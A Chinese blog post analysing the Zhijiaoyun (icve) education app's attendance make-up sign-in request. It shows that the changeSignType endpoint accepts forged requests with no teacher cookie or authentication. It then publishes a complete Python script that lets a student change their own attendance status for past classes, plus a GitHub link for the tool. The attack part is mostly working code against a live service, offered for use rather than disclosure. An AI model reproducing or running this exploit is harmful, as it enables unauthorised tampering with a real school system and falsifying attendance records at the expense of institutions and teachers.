前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >职教云-智慧职教,签到补签分析(逆天改命系列)

职教云-智慧职教,签到补签分析(逆天改命系列)

作者头像
SingYi
发布2022-07-14 17:03:43
2.8K1
发布2022-07-14 17:03:43
举报
文章被收录于专栏:Lan小站Lan小站

最一开始,我只试着弄了个职教云签到监控。帮我签到,但是后来居然在一些地方看到各种逆天操作,然后发现全部都是教师权限才能的操作,然后我就对职教云补签进行了抓包分析(别问我教师账号怎么来的,注册即可)。

在用教师账户进行补签操作之后抓到这么一个包,怎么抓包的就说了,这个也不是重点,主要看思路。

这个包是我在职教云手机端抓到的,因为手机版比网页版更老实。

image.png
image.png

先来看下他的参数:

image.png
image.png

传递了一些cookie

data,equipmentAppVersion,equipmentModel,equipmentApiVersion

经过目测翻译,加分析值:

equipmentAppVersion:这玩意就是app版本号

equipmentModel:这个是我手机型号

equipmentApiVersion:这个大概估计就是api版本了吧。

然后就是那个最关键的data了,一般来说要传递的值都在data里面吧。

把它复制出来并且url解码之后是一串这样的

image.png
image.png

为了看得更清楚,给他挪个地方看看

image.png
image.png

咳咳,继续盲猜之旅。

目前的值有这些:

OpenClassId:这个似乎目测翻译一下就是,开放班级的ID

Id:这玩意就一个ID,是啥ID咱也不知道呀,放着看看

SignId:目测翻译一下,标志ID,估计就是代表这条活动的ID吧

StuId:目测翻译就是学生ID

SignResultType:标志结果类型,咳咳人工机翻,估计意思就是签到的目标状态

SourceType:来源类型?大概这样吧

schoolId:目测翻译就是学校ID

经过上面这一长短的目测翻译大概需要的一些值就是这样了。

现在先试着发一个包看下

image.png
image.png

结果是修改成功,说明可以自己伪造包然后修改签到状态

但问题是,我们没有老师的账号就没有老师cookie呀,那怎么可以实现那些逆天操作呢,我试着把传递的cookie删除,然后看下结果

然后发现居然也修改成功了,

image.png
image.png

既然cookie都不要了,那我干脆把手机型号,版本型号这些也删除试试,然后只保留一个data,结果。。。。

image.png
image.png

除了说职教云老实我还能说什么。到此我们就可以完成补签操作了。

对于上面那几个参数不再次分析了,懒,直接上代码

完整代码在GitHub:https://github.com/vastsa/ZhiJiaoYunQianDao

代码语言:javascript
复制
from configparser import ConfigParser
import requests

config = ConfigParser()
config.read('config.info')
try:
    stuid = config['information']['userid']
except:
    import get_cookie


def get_kecheng(time):
    data = {
        'stuId': stuid,
        'faceDate': time
    }
    url = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/getStuFaceTeachList'
    html = requests.post(url=url, data=data).json()
    datalist = html['dataList']
    courses = len(datalist)
    courseId = []
    courseNmae = []
    classSection = []
    openClassId = []
    for i in range(courses):
        courseNmae.append(datalist[i]['courseName'])
        courseId.append(datalist[i]['Id'])
        classSection.append(datalist[i]['classSection'])
        openClassId.append(datalist[i]['openClassId'])
    if courses != 0:
        print(f'课表如下:')
        js = 0
        for i in range(courses):
            print(f'【{js}】第{classSection[i]}课:{courseNmae[i]}')
            js += 1
        js = input("请输入你要补签的课堂:")
        return {
            'courseId': courseId[int(js)],
            'openClassId': openClassId[int(js)],
            'courses': courses
        }
    else:
        print("同学,你今天无课,好好休息!")


def buqian(course):
    url = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/newGetStuFaceActivityList'
    data = {
        'activityId': course['courseId'],
        'stuId': stuid,
        'classState': '2',
        'openClassId': course['openClassId']
    }
    html = requests.post(url=url, data=data).json()['dataList']
    buqianname = []
    buqianid = []
    for j in range(len(html)):
        datatype = html[j]['DataType']
        if datatype == "签到":
            buqianname.append(html[j]['Title'])
            buqianid.append(html[j]['Id'])
    for i in range(len(buqianid)):
        print(f'【{i}】{buqianname[i]}')
        # print(f'【{i}】{buqianid[i]}')
    target = int(input("请输入要逆天改命的序号:"))
    datas = f'{{"OpenClassId":"{course["openClassId"]}","Id":"{stuid}","SignId":"{buqianid[target]}","StuId":"{stuid}","SignResultType":1,"SourceType":2,"schoolId":"3-3sabgooohfboflpnx6bq"}}'
    xdata = {
        'data': f'{datas}'
    }
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Host': 'zjyapp.icve.com.cn',
        'Connection': 'Keep-Alive',
        'Accept-Encoding': 'gzip',
        'User-Agent': 'okhttp/3.10.0',
    }
    bqurl = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/changeSignType'
    html = requests.post(url=bqurl, headers=headers, data=xdata).json()
    if html['code'] == 1:
        print(html['msg'])
        print("逆天改命成功,返回菜单")
        menu()
    else:
        print(html['msg'])
        print("逆天改命失败,请联系Lan")


def menu():
    print("【欢迎使用职教云补签助手】")
    print("                  By:Lan")
    date = input("请输入需要补签的日期如(2020-4-17):")
    course = get_kecheng(date)
    buqian(course)


if __name__ == '__main__':
    menu()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-04-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档